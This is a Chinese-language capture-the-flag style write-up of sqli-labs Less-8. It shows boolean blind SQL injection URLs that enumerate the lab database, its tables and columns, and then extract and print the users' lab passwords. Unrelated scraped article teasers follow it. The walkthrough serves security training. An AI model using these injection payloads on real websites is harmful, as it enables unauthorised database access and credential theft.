sqli-labs靶场第八关布尔盲注通关

server/2024/10/9 2:58:56/

sqlilabs_less__0">sqli-labs less 布尔盲注

在这里插入图片描述

1、布尔盲注

Bool盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误页面等。不需要返回结果,仅判断语句是否正常执行,在这种情况下我们可以使用布尔盲注

2、布尔盲注使用的函数

2.1 ascii()

根据括号内的值,返回对应的ASCII码,比如:
在这里插入图片描述
附上ASCII码表
在这里插入图片描述

2.2 substr()函数

substr(‘abcde’,1,1),此函数返回’abcde’第一个开始的第一个字符
在这里插入图片描述
也可以使用其他函数代替
如left(),right()
在这里插入图片描述

2.3 if()函数

在这里插入图片描述

2.4 length()

在这里插入图片描述

3、less-8演示

3.1 注入点以及闭合方式

http://192.168.128.3/sq/Less-8/?id=1’

回显结果与之前不一致,页面无回显,将'注释掉,回显正常,闭合方式为单引号,

http://192.168.128.3/sq/Less-8/?id=1’and 1=1–+
http://192.168.128.3/sq/Less-8/?id=1’and 1=2–+

页面回显不一致,有注入点

3.2 判断数据库长度

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((length(database())>7),1,2) --+
http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((length(database())>8),1,2) --+

语句解析:

  • 1=if(判断长度大于多少,1,2) 正常返回1,与1=1对应,回显正常,否则错误,
  • length(),在括号中加入database() 去除数据库长度,并于7,8比较
    执行这两条语句发现>7正常,>8不正常,确定数据库名长度为8

3.2 爆出数据库

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select database()),1,1))>100),1,2) --+
检测其ASCII码是否大于100,
http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select database()),1,1))>110),1,2) --+
http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select database()),1,1))>115),1,2) --+
http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select database()),1,1))>114),1,2) --+

发现在大于115报错,大于114正常,对照ASCII表得出数据库名第一个字母为s
一次按照此方法爆出其余的字符,最终得到数据库security

3.3 爆出表名

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100),1,2) --+

得出表名第一个字母e,按照此方法一次爆出所有表名
最终得到结果emails,referers,usgents,users
其中,也算,他是group_concat()函数使用时产生的,

4、爆出列名

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),1,1))>104),1,2) --+

列名第一个字符大于104正确,105错误,对照ASCII表为i,,只需修改substr(‘字符串’,1,1)中第一个1,便可得到所有列名
最终结果:id,username,password

5、爆出数据

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select group_concat(username,‘~’,password) from security.users),1,1))>67),1,2) --+

只需修改substr(‘字符串’,1,1)中第一个1,便可得到所有数据,~,也算,group_concat(username,‘~’,password)所带,
最终得到:
Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2~admin2,admin3~admin3,dhakkan~dumbo,admin4~admin4
至此大功告成


http://www.ppmy.cn/server/129056.html

相关文章

【高等数学学习记录】函数的极限

一、知识点 (一)知识结构 #mermaid-svg-Dz0Ns0FflWSBWY50 {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-Dz0Ns0FflWSBWY50 .error-icon{fill:#552222;}#mermaid-svg-Dz0Ns0FflWSBWY50 .erro…

基于Word2Vec和LSTM实现微博评论情感分析

关于深度实战社区 我们是一个深度学习领域的独立工作室。团队成员有:中科大硕士、纽约大学硕士、浙江大学硕士、华东理工博士等,曾在腾讯、百度、德勤等担任算法工程师/产品经理。全网20多万粉丝,拥有2篇国家级人工智能发明专利。 社区特色…

宠物咖啡馆平台开发:SpringBoot框架的高效应用

2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统,它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等,非常…

力扣(leetcode)每日一题 699 掉落的方块 | 线段树|经典

699. 掉落的方块 题干 在二维平面上的 x 轴上,放置着一些方块。 给你一个二维整数数组 positions ,其中 positions[i] [lefti, sideLengthi] 表示:第 i 个方块边长为 sideLengthi ,其左侧边与 x 轴上坐标点 lefti 对齐。 每个方…

前端编程艺术(3)---JavaScript

目录 1.JavaScript 1.输出 2.变量和数据类型 3.运算符 4.数组 5.函数 6.面向对象 7.ES6面向对象 2.BOM 1.document对象 3.DOM 4.JSON 1.JavaScript JavaScript是一种脚本编程语言,通常用于为网页增加交互性和动态效果。它是一种高级语言&#xff…

C语言— exec系列函数

exec系列函数 在C语言编程中,exec 系列函数用于在当前进程中执行一个新程序,从而替换当前进程的映像。这些函数不会返回,除非发生错误。exec 系列函数有多个变体,其中最常用的包括 execl, execle, execlp, execv, execve, execvp…

Jmeter生成JWT token

JWT简介 JWT官网:https://jwt.io/ JSON Web令牌(JWT)是一个开放标准(RFC 7519),它定义了一种紧凑而自包含的方式,用于在各方之间以JSON对象的形式安全地传输信息。此信息可以验证和信任&#x…

在PC端连接苹果手机(iPhone)时,即使已经开启了开发者模式(开发者权限),但仍然无法成功连接,是什么原因?

目录 1. 缺少信任设备授权 2. USB线或端口问题 3. 没有安装正确的驱动程序 4. Apple Mobile Device 服务未启动(适用于 Windows) 5. 开发者选项中的设置问题 6. 防火墙或杀毒软件阻止 7. USB 限制功能已开启 8. 软件版本不兼容 9. iPhone处于恢…